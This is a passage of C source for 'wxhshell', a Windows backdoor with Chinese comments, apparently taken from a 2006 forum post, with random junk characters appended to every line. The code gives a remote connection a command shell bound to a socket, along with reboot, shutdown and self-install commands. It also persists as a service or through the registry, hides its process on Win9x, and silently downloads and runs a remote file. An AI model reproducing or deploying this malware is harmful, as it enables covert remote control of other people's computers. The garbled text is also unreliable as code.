  } f0&%  
  else { _Wqy,L;J  
%2y5a`b  
    switch(cmd[0]) { KX J7\}  
  2F :8=_sA  
  // 帮助 gCq'#G\Z  
  case '?': { L3=5tuQ[5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qk72ra)  
    break; +/ rt'0o  
  } C),i#v  
  // 安装 Z+=M_{`{  
  case 'i': { lg +>.^7k  
    if(Install()) R*/s#*gmL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F3[,6%4v  
    else Q[{RN ab  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ad&VOh+0  
    break; $[UUf}7L   
    } wJj:hA}  
  // 卸载 p(6 sN=  
  case 'r': { EF6h>"']/  
    if(Uninstall()) Cxeam"-HTt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H*e+ 2  
    else +z 4E:v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &`oybm-p(  
    break; 0SDnMij&bf  
    } # %EHcgF  
  // 显示 wxhshell 所在路径 4Cv*zn  
  case 'p': { b~qH/A}h  
    char svExeFile[MAX_PATH]; hd6O+i Y4  
    strcpy(svExeFile,"\n\r"); ?lML+  
      strcat(svExeFile,ExeFile); %&S9~E D  
        send(wsh,svExeFile,strlen(svExeFile),0); .,20_<j%=  
    break; #q 4uS~  
    } d f!i}L  
  // 重启 ^t:dcY7  
  case 'b': { 2RQ- L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P0pBR_:o  
    if(Boot(REBOOT)) F$bV}>-1k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U*b7 Pxq;  
    else { Z?xRSi2~7  
    closesocket(wsh); IVY)pS"pR"  
    ExitThread(0); @{W"mc+  
    } R0%M9;>1  
    break; AmC?qoEWQ7  
    } Evd|_W-  
  // 关机 cPv(VjS1;  
  case 'd': { bf|ePGW?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3~VV2O  
    if(Boot(SHUTDOWN)) @S=9@3m{w;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K`2(Q  
    else { yM~bUmSg  
    closesocket(wsh); FWA?mde  
    ExitThread(0); ]IEZ?+F,  
    } C!|LGzs0  
    break; z;!"i~fFK  
    } rtfRA<  
  // 获取shell 2,wwI<=E'  
  case 's': { kg 8Dn  
    CmdShell(wsh); BM'!odRv  
    closesocket(wsh); 2?SbkU/3|P  
    ExitThread(0); hGkJ$QT  
    break; kRc+OsY9  
  } xx(C$wCJ  
  // 退出 R<U]"4CBx  
  case 'x': { $ dF3@(p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G:p85k `  
    CloseIt(wsh); ] |nW  
    break; R3;%eyu  
    } MXa^ g"  
  // 离开 Fj(GyPFG  
  case 'q': { /0 4US5En  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X\/M(byn  
    closesocket(wsh); #-@u Lc  
    WSACleanup(); .p,VZ9  
    exit(1); 6y~F'/ww  
    break; Rq%Kw > {&  
        } !nCq8~#  
  } N -]/MB 8  
  } r5Tdp)S  
<l $ d>,  
  // 提示信息 I{jvUYrKH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P/dnH  
} [ r8 ZAS  
  } U!`iKy-  
B+snHabS6  
  return; !TJ,:c]4{!  
} C!a1.&HHZ7  
i5t6$|u:&m  
// shell模块句柄 f+Sb> $  
int CmdShell(SOCKET sock) -~|{q)!F  
{ c#sHnpP  
STARTUPINFO si; =jJEl=*S  
ZeroMemory(&si,sizeof(si)); C!*.jvhT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \1Xk[%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dniU{v  
PROCESS_INFORMATION ProcessInfo; :#pdyJQ_  
char cmdline[]="cmd"; 6oNcj_?7?q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~e 1l7H;  
  return 0; b.@a,:"  
} {VE h@yn  
z.!N|"4yr  
// 自身启动模式 L_NiU;cr%  
int StartFromService(void) e[fOm0^.c  
{ *B"Y]6$  
typedef struct <ZF|2  
{ r~lZ8$KC  
  DWORD ExitStatus; P}Kgh7)3  
  DWORD PebBaseAddress; k(l2`I4V  
  DWORD AffinityMask; O,%,dtD[a  
  DWORD BasePriority; w{6C4~0  
  ULONG UniqueProcessId; Wc[,kc  
  ULONG InheritedFromUniqueProcessId; a/,>fv9;$  
}   PROCESS_BASIC_INFORMATION; :q]9F4im  
^k;]"NR  
PROCNTQSIP NtQueryInformationProcess; L meP J  
AO$AT_s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? T6K]~g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AQlB_ @ b  
>s f g`4  
  HANDLE             hProcess; hPDKxYD]f  
  PROCESS_BASIC_INFORMATION pbi; l9Ir@.m  
xi=ApwNj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3}0\W.jH  
  if(NULL == hInst ) return 0; ^Tm`motzh  
{`QHg O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'J|)4OG:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :oP LluW*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nr4:Gih  
ff\~`n~WZ  
  if (!NtQueryInformationProcess) return 0; i#]e&Bru5  
[y[d7V9_o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N Qk aW)  
  if(!hProcess) return 0; i2~uhGJ  
=|S%Rzsk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $*fJKR_N  
d;Vy59}eY  
  CloseHandle(hProcess); ]:<! (  
c=oDzAzuV\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MzJCiX^  
if(hProcess==NULL) return 0; ?Z7`TnG$uf  
5i!Q55Yv=,  
HMODULE hMod; 5Q?Jm~H9  
char procName[255]; n/+X3JJ  
unsigned long cbNeeded; I&;>(@K  
2bp@m;g$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <v_=k],W  
UN]gn>~j  
  CloseHandle(hProcess); K,E/.Qe\C  
;b$P*dSG}  
if(strstr(procName,"services")) return 1; // 以服务启动 Dqx#i-L23  
x sryXex;  
  return 0; // 注册表启动 Zv u6/#  
} Z/#_Swv  
w,LtQhQ  
// 主模块 CLR1 CGnn7  
int StartWxhshell(LPSTR lpCmdLine) 8i#  
{ Rh!UbEPjC  
  SOCKET wsl; 06&J!,p :  
BOOL val=TRUE; :C~Ar]  
  int port=0; *'< AwG&  
  struct sockaddr_in door; M!UTqf7XL  
2Je $SE8  
  if(wscfg.ws_autoins) Install(); pP. _%5  
d7OygDb<  
port=atoi(lpCmdLine); MMM tB6  
7L{1S v  
if(port<=0) port=wscfg.ws_port; > H!sD\b  
b_0THy.Z  
  WSADATA data; X z+%Ym  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *o6}>;  
e~o!Qm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AjC:E+g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :t}\%%EbmE  
  door.sin_family = AF_INET; b\k]Jx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g{8RPw]  
  door.sin_port = htons(port); o.+;]i}D  
$ V^gFes  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n ~t{]if"  
closesocket(wsl); t un}rdb  
return 1; g9_zkGc7  
} "s2_X+4oY  
( ;FxKm<P@  
  if(listen(wsl,2) == INVALID_SOCKET) { 7FB?t<x  
closesocket(wsl); 8:ubtB  
return 1; h3ygL"k  
} ]-=L7a  
  Wxhshell(wsl); ]%\,.&=hT  
  WSACleanup(); a:kAo0@":j  
$%<{zWQm  
return 0; #8$?# dT  
,+=9Rp`md  
} Y-VDi.]W  
W^(zP/  
// 以NT服务方式启动 3uL f0D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &,X}M  
{ !`69.v  
DWORD   status = 0;  N5 ME_)  
  DWORD   specificError = 0xfffffff; nzq   
nL@'??I1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5{ c;I<0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l45/$G7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -JW~_Q[  
  serviceStatus.dwWin32ExitCode     = 0; +;N]34>S7  
  serviceStatus.dwServiceSpecificExitCode = 0; &Mh.PzO=b  
  serviceStatus.dwCheckPoint       = 0; %I1@{>OxG  
  serviceStatus.dwWaitHint       = 0; 7v: XAU  
:@A&HkF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F%OP,>zl  
  if (hServiceStatusHandle==0) return;  |/Nh#  
8 Rx@_   
status = GetLastError(); tOwn M1 :(  
  if (status!=NO_ERROR) X! d-"[  
{ Z,&O8Jelf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mF4W4~"  
    serviceStatus.dwCheckPoint       = 0; l:HQ@FX  
    serviceStatus.dwWaitHint       = 0; u mYsO.8  
    serviceStatus.dwWin32ExitCode     = status; uD\R3cY  
    serviceStatus.dwServiceSpecificExitCode = specificError; oD)x\ )t8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~7m`p3W@  
    return; -hd  
  } ]OAU&t{  
<Q[%:LD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N$fP\h^AR  
  serviceStatus.dwCheckPoint       = 0; 7)?C+=,0  
  serviceStatus.dwWaitHint       = 0; -(vHy/Hz.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7 N}@zPAZ  
} '+Dsmoy  
D8A+`W?  
// 处理NT服务事件,比如:启动、停止 xUJ(tG3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vYgJu-Sl  
{ {^]qaQ[5N  
switch(fdwControl) /s?%ft#-9o  
{ :~-:  
case SERVICE_CONTROL_STOP: X3:1KDVsV  
  serviceStatus.dwWin32ExitCode = 0; 5'!fi]Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O,$*`RZpx  
  serviceStatus.dwCheckPoint   = 0; ?QP>rm  
  serviceStatus.dwWaitHint     = 0; c <TEA  
  { LkbD='\=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~WrpJjI[  
  } NlYuT+  
  return; rwWOhD)RU  
case SERVICE_CONTROL_PAUSE: <bcf"0A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #  X (2  
  break; FB k7Cn!  
case SERVICE_CONTROL_CONTINUE:  ^B"LT>.[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1wgL^Qz@  
  break; E:` _P+2p  
case SERVICE_CONTROL_INTERROGATE: w1Bkz\95  
  break; 1^_W[+<S/  
}; F:zmO5L5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LWrYK i  
} +|C@B`h  
73qE!(  
// 标准应用程序主函数 /&6{}n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /#9P0@Y  
{ |AvPg  
}$)~HmZw  
// 获取操作系统版本 >VhZv75  
OsIsNt=GetOsVer(); B4 bB`r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QRQ{Bq}#  
IlJ"t`Z9)  
  // 从命令行安装 Sr+hB>{  
  if(strpbrk(lpCmdLine,"iI")) Install(); j32*9  
h<L_ =)lH  
  // 下载执行文件 wn"\ @QvG  
if(wscfg.ws_downexe) { E}Cz(5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E"}%$=yK  
  WinExec(wscfg.ws_filenam,SW_HIDE); v:lkvMq|=  
} Pk&=\i<  
drpx"d[c  
if(!OsIsNt) { 5$ How!  
// 如果时win9x,隐藏进程并且设置为注册表启动 G/ si( LK  
HideProc(); IlF_g`  
StartWxhshell(lpCmdLine); "d}']M?-h  
} *BxU5)O  
else e@c8Ce|0  
  if(StartFromService()) FM%WMyb[  
  // 以服务方式启动 a<*+rGI  
  StartServiceCtrlDispatcher(DispatchTable); ?121 as}z  
else e!=7VEB  
  // 普通方式启动 &%v*%{|j  
  StartWxhshell(lpCmdLine); i`YZ;L L  
Y"ta`+ VJ  
return 0; Dj= {%  
}
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只看该作者 1 发表于: 2006-10-10
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